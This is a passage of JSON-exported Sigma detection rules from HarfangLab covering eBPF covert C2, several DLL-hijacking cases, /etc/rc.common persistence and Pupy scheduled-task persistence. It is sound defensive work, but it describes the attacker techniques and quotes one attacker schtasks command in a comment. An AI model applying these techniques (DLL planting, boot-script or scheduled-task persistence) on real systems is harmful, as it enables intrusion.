+  "rule_description": "Detects the suspicious loading of a DLL from the libraries folder of the Public user.\nThis folder is an uncommon directory for a DLL to load from and is often abused by attackers.\nIt is recommended to analyze the loaded DLL to look for malicious behavior or content.\n",
+  "rule_creation_date": "2024-03-06",
+  "rule_modified_date": "2025-01-29",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0b99a008-58ed-40da-bc7d-43120837aaaf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.620148Z",
+  "creation_date": "2026-03-23T11:45:34.620150Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.620154Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf",
+    "https://redcanary.com/blog/threat-detection/ebpf-malware/",
+    "https://github.com/h3xduck/TripleCross",
+    "https://attack.mitre.org/techniques/T1205/002/"
+  ],
+  "name": "t1205_002_possible_ebpf_covert_c2.yml",
+  "content": "title: Possible Extended BPF Covert C2\nid: 0b99a008-58ed-40da-bc7d-43120837aaaf\ndescription: |\n    Detects a Traffic Control (TC) or eXpress Data Path (XDP) eBPF program loaded.\n    A malware can misuse eBPF by installing XDP programs to intercept network packets at a very early stage and detect hidden command messages.\n    When a specific packet arrives, the XDP program can modify it so it looks like legitimate traffic, such as a normal HTTP request.\n    A TC program on the egress path can similarly alter outgoing responses to embed data the malware sends back to its controller.\n    Together, these components create a covert communication channel without generating visible network activity.\n    It is recommended to check the process which loaded the eBPF program for suspicious activities.\nreferences:\n    - https://www.synacktiv.com/publications/linkpro-analyse-dun-rootkit-ebpf\n    - https://redcanary.com/blog/threat-detection/ebpf-malware/\n    - https://github.com/h3xduck/TripleCross\n    - https://attack.mitre.org/techniques/T1205/002/\ndate: 2025/11/13\nmodified: 2026/01/22\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.defense_evasion\n    - attack.t1205.002\n    - attack.t1205.001\n    - classification.Linux.Source.Bpf\n    - classification.Linux.Behavior.CommandAndControl\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.NetworkActivity\nlogsource:\n    product: linux\n    category: bpf_event\ndetection:\n    selection:\n        Kind: 'ebpf_load'\n        ProgramTypeStr:\n          - 'BPF_PROG_TYPE_XDP'\n          - 'BPF_PROG_TYPE_SCHED_CLS'\n        Image: '*'\n\n    filter_containers:\n        ProcessAncestors|contains:\n            - '|/usr/bin/containerd-shim'\n            - '|/usr/libexec/crio/conmon'\n            - '|/usr/bin/containerd'\n            - '|/usr/bin/lxc-start'\n\n    filter_edr:\n        Image:\n            - '/opt/hurukai-agent/bin/hurukai'\n            - '/opt/CrowdStrike/falcon-sensor-bpf*'\n\n    filter_cilium:\n        Image: '/usr/bin/cilium-agent'\n\n    filter_network_tools:\n        Image:\n            - '*/*bin/kxdpgun'\n            - '*/bin/netbird'\n            - '*/*bin/xdp-dns'\n            - '*/bin/tc'\n\n    filter_bpf_tools:\n        Image: '*/bin/bpftool'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0b99a008-58ed-40da-bc7d-43120837aaaf",
+  "rule_name": "Possible Extended BPF Covert C2",
+  "rule_description": "Detects a Traffic Control (TC) or eXpress Data Path (XDP) eBPF program loaded.\nA malware can misuse eBPF by installing XDP programs to intercept network packets at a very early stage and detect hidden command messages.\nWhen a specific packet arrives, the XDP program can modify it so it looks like legitimate traffic, such as a normal HTTP request.\nA TC program on the egress path can similarly alter outgoing responses to embed data the malware sends back to its controller.\nTogether, these components create a covert communication channel without generating visible network activity.\nIt is recommended to check the process which loaded the eBPF program for suspicious activities.\n",
+  "rule_creation_date": "2025-11-13",
+  "rule_modified_date": "2026-01-22",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1205.001",
+    "attack.t1205.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0b9f13f2-fe2b-43fe-9f82-22ab533221ff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600433Z",
+  "creation_date": "2026-03-23T11:45:34.600436Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600444Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_proquota.yml",
+  "content": "title: DLL Hijacking via proquota.exe\nid: 0b9f13f2-fe2b-43fe-9f82-22ab533221ff\ndescription: |\n    Detects potential Windows DLL Hijacking via proquota.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'proquota.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\userenv.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0b9f13f2-fe2b-43fe-9f82-22ab533221ff",
+  "rule_name": "DLL Hijacking via proquota.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via proquota.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0baf276d-d629-4eb2-948c-1b0f87b13160",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590863Z",
+  "creation_date": "2026-03-23T11:45:34.590867Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590901Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_easinvoker.yml",
+  "content": "title: DLL Hijacking via easinvoker.exe\nid: 0baf276d-d629-4eb2-948c-1b0f87b13160\ndescription: |\n    Detects potential Windows DLL Hijacking via easinvoker.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'easinvoker.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\AUTHZ.dll'\n            - '\\netutils.dll'\n            - '\\samcli.dll'\n            - '\\SAMLIB.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0baf276d-d629-4eb2-948c-1b0f87b13160",
+  "rule_name": "DLL Hijacking via easinvoker.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via easinvoker.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0bc4d271-7029-4c83-bad4-a9ea34b7213b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.612097Z",
+  "creation_date": "2026-03-23T11:45:34.612101Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612108Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1037.004/T1037.004.md#atomic-test-2---rccommon",
+    "https://attack.mitre.org/techniques/T1037/004/"
+  ],
+  "name": "t1037_004_rc_common_modified_linux.yml",
+  "content": "title: RC Script /etc/rc.common Modified\nid: 0bc4d271-7029-4c83-bad4-a9ea34b7213b\ndescription: |\n    Detects an attempt to modify the RC script /etc/rc.common.\n    The /etc/rc.common file is a script that is used to perform system-level tasks during the boot process on Unix-like systems.\n    Adversaries can establish persistence by adding a malicious binary path or shell commands to this file.\n    It is recommended to investigate the process that read the `rc.common` file for suspicious activities.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1037.004/T1037.004.md#atomic-test-2---rccommon\n    - https://attack.mitre.org/techniques/T1037/004/\ndate: 2022/12/26\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1037.004\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.PrivilegeEscalation\n    - classification.Linux.Behavior.Persistence\n    - classification.Linux.Behavior.SystemModification\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection:\n        - Path: '/etc/rc.common'\n        - TargetPath: '/etc/rc.common'\n\n    filter_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n\n    exclusion_docker:\n        ProcessImage: '/usr/bin/dockerd'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0bc4d271-7029-4c83-bad4-a9ea34b7213b",
+  "rule_name": "RC Script /etc/rc.common Modified",
+  "rule_description": "Detects an attempt to modify the RC script /etc/rc.common.\nThe /etc/rc.common file is a script that is used to perform system-level tasks during the boot process on Unix-like systems.\nAdversaries can establish persistence by adding a malicious binary path or shell commands to this file.\nIt is recommended to investigate the process that read the `rc.common` file for suspicious activities.\n",
+  "rule_creation_date": "2022-12-26",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1037.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0c371a93-177d-4ced-82ad-dc148a365686",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083926Z",
+  "creation_date": "2026-03-23T11:45:34.083928Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083932Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/n1nj4sec/pupy",
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_005_pupy_scheduled_task.yml",
+  "content": "title: Pupy Scheduled Task Persistence Added\nid: 0c371a93-177d-4ced-82ad-dc148a365686\ndescription: |\n    Detects a suspicious scheduled task creation that is related to Pupy Attack Framework.\n    Pupy is a cross-platform, multi function RAT and post-exploitation tool mainly written in Python.\n    It is recommended to download and investigate the 'elevator.xml' file.\n    It is also recommended to investigate the parent process for suspicious activities.\nreferences:\n    - https://github.com/n1nj4sec/pupy\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2021/02/08\nmodified: 2025/08/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Framework.Pupy\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\schtasks.exe'\n        # \"C:\\Windows\\System32\\schtasks.exe\" /create /xml c:\\users\\user\\appdata\\local\\temp\\elevator.xml /tn elevator\n        CommandLine|contains|all:\n            - '/create '\n            - '/xml '\n            - '/tn elevator'\n            - '\\AppData\\Local\\Temp\\elevator.xml'\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0c371a93-177d-4ced-82ad-dc148a365686",
+  "rule_name": "Pupy Scheduled Task Persistence Added",
+  "rule_description": "Detects a suspicious scheduled task creation that is related to Pupy Attack Framework.\nPupy is a cross-platform, multi function RAT and post-exploitation tool mainly written in Python.\nIt is recommended to download and investigate the 'elevator.xml' file.\nIt is also recommended to investigate the parent process for suspicious activities.\n",
+  "rule_creation_date": "2021-02-08",
+  "rule_modified_date": "2025-08-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0c391c25-0ca4-4a33-a98e-d0de4cc1eee6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084746Z",
+  "creation_date": "2026-03-23T11:45:34.084748Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084752Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/RedDrip7/status/1545245625662418945",
+    "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_version.yml",
+  "content": "title: DLL Hijacking of VERSION.DLL\nid: 0c391c25-0ca4-4a33-a98e-d0de4cc1eee6\ndescription: |\n    Detects a potential Windows DLL search order hijacking of VERSION.DLL.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    By putting a malicious DLL with the same name in the same folder, attackers can execute arbitrary code.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://twitter.com/RedDrip7/status/1545245625662418945\n    - https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/07/15\nmodified: 2025/10/21\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|endswith: '\\version.dll'\n\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n\n    exclusion_programfiles:\n        ProcessImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_windows_sandbox:\n        ImageLoaded|startswith: '\\Device\\vmsmb\\VSMB-'\n        Imphash: '00000000000000000000000000000000'  # mean we didn't get any info about the DLL\n\n    exclusion_legitimate_dll:\n        # old pascal/delphi \"version.dll\", not the MS ones (and upx packed..)\n        sha256:\n            - '31144e8b156fe87317073c48a09abcb033fda8dbdd96986c4abea8c00c00355f'\n            - '3eba921ef649b71f98d9378dee8105b38d2464c9ccde37a694e4a0cd77d22a75'\n            - '645ca9e88da21c63710a04a0f54421018df415a3d612112c71a255c49325c082'\n            - 'd7ce1a67db5dee613760775ad4639ddb9ed2dd07f169996c78133820337d1aa3' # C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\VERSION.dll\n            - 'a9a39c8c61d5cdcb9ea67e7ee5916d7f60dfe40b31474381cbdf0102f698fbb4' # Balatro\\version.dll\n\n    exclusion_veeam:\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\rundll32.exe aepdu.dll,AePduRunUpdate'\n            - '?:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection\\\\*\\Bin\\ccSvcHst.exe'\n        # SHA-256: 3d520df7824e332886a1307d3153e0fb5c2b85ac67a1e194ee3adb1bfbaecf8a\n        # SHA-256: ccd18aa682718cd765840c249c10c9be4d41affd8fc7a590d5f25619a22814f5\n        ImageLoaded: '?:\\Program Files (x86)\\Veeam\\Backup Transport\\GuestInteraction\\VSS\\VeeamGuestHelpers\\WinCoreCompatLayer\\version.dll'\n\n    exclusion_signed:\n        Signature:\n            # ImageLoaded: 'C:\\Program Files\\QlikView\\Server\\QlikViewClients\\QlikViewAjax\\bin\\Version.dll'\n            - 'QlikTech International AB'\n            - 'ASUSTeK Computer Inc.'\n            - 'IObit CO., LTD'\n            - 'Veeam Software Group GmbH'\n\n    exclusion_imageloaded:\n        ImageLoaded:\n            - '?:\\$WINDOWS.~BT\\NewOS\\Windows\\System32\\version.dll'\n            - '?:\\$WINDOWS.~BT\\NewOS\\Windows\\WinSxS\\amd64_microsoft-windows-version_*\\version.dll'\n            - '?:\\ProgramData\\docker\\windowsfilter\\\\*\\Files\\Windows\\System32\\forwarders\\version.dll'\n\n    exclusion_app:\n        ProcessImage|contains:\n            - '\\App\\GlaryUtilities\\'\n            - '\\App\\SketchUp 20??\\'\n            - '\\App\\TreeSize\\TreeSize.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Glarysoft Ltd'\n            - 'Trimble Inc.'\n            - 'JAM Software GmbH'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "0c391c25-0ca4-4a33-a98e-d0de4cc1eee6",
+  "rule_name": "DLL Hijacking of VERSION.DLL",
+  "rule_description": "Detects a potential Windows DLL search order hijacking of VERSION.DLL.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nBy putting a malicious DLL with the same name in the same folder, attackers can execute arbitrary code.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-07-15",
+  "rule_modified_date": "2025-10-21",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "0c620fa1-5877-425b-b91e-920d723b4eab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.591725Z",
+  "creation_date": "2026-03-23T11:45:34.591728Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.591736Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dxcap.yml",
+  "content": "title: DLL Hijacking via dxcap.exe\nid: 0c620fa1-5877-425b-b91e-920d723b4eab\ndescription: |\n    Detects potential Windows DLL Hijacking via dxcap.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - 